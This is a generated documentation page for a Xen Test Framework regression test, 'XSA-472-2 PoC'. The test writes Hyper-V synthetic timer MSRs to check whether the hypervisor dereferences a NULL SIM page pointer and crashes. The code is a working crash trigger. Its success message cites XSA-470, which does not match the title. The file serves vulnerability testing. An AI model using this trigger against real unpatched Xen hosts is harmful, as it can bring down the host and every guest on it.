Xen Test Framework
tests
xsa-472-2
main.c
Go to the documentation of this file.
1
15
#include <xtf.h>
16
17
const
char
test_title
[] =
"XSA-472-2 PoC"
;
18
19
#define HV_X64_MSR_STIMER0_CONFIG 0x400000B0
20
#define HV_X64_MSR_STIMER0_COUNT 0x400000B1
21
22
void
test_main
(
void
)
23
{
24
int
rc =
apic_init
(
APIC_MODE_XAPIC
);
25
26
if
( rc )
27
return
xtf_error
(
"Error: unable to init APIC: %d\n"
, rc);
28
29
/*
30
* Test if using Synthetic Timers assumes the SIM page to be
31
* unconditionally mapped.
32
*/
33
wrmsr
(
HV_X64_MSR_STIMER0_COUNT
, 1);
34
wrmsr
(
HV_X64_MSR_STIMER0_CONFIG
, (1 << 16) | 1);
35
36
/*
37
* If we're still alive here, Xen didn't crash, so the NULL pointer
38
* dereference is not present.
39
*/
40
xtf_success
(
"Success: Not vulnerable to XSA-470 (CVE-2025-58142)\n"
);
41
}
42
43
/*
44
* Local variables:
45
* mode: C
46
* c-file-style: "BSD"
47
* c-basic-offset: 4
48
* tab-width: 4
49
* indent-tabs-mode: nil
50
* End:
51
*/
apic_init
int apic_init(enum apic_mode mode)
Discover and initialise the local APIC to the requested mode.
Definition:
apic.c:33
APIC_MODE_XAPIC
@ APIC_MODE_XAPIC
Definition:
apic.h:45
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:301
test_title
const char test_title[]
The title of the test.
Definition:
main.c:13
wrmsr
static void wrmsr(uint32_t idx, uint64_t val)
Thin wrapper around an wrmsr instruction.
Definition:
msr.h:55
xtf_error
void xtf_error(const char *fmt,...)
Report a test error.
Definition:
report.c:80
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
HV_X64_MSR_STIMER0_CONFIG
#define HV_X64_MSR_STIMER0_CONFIG
Definition:
main.c:19
HV_X64_MSR_STIMER0_COUNT
#define HV_X64_MSR_STIMER0_COUNT
Definition:
main.c:20
Generated by
1.9.4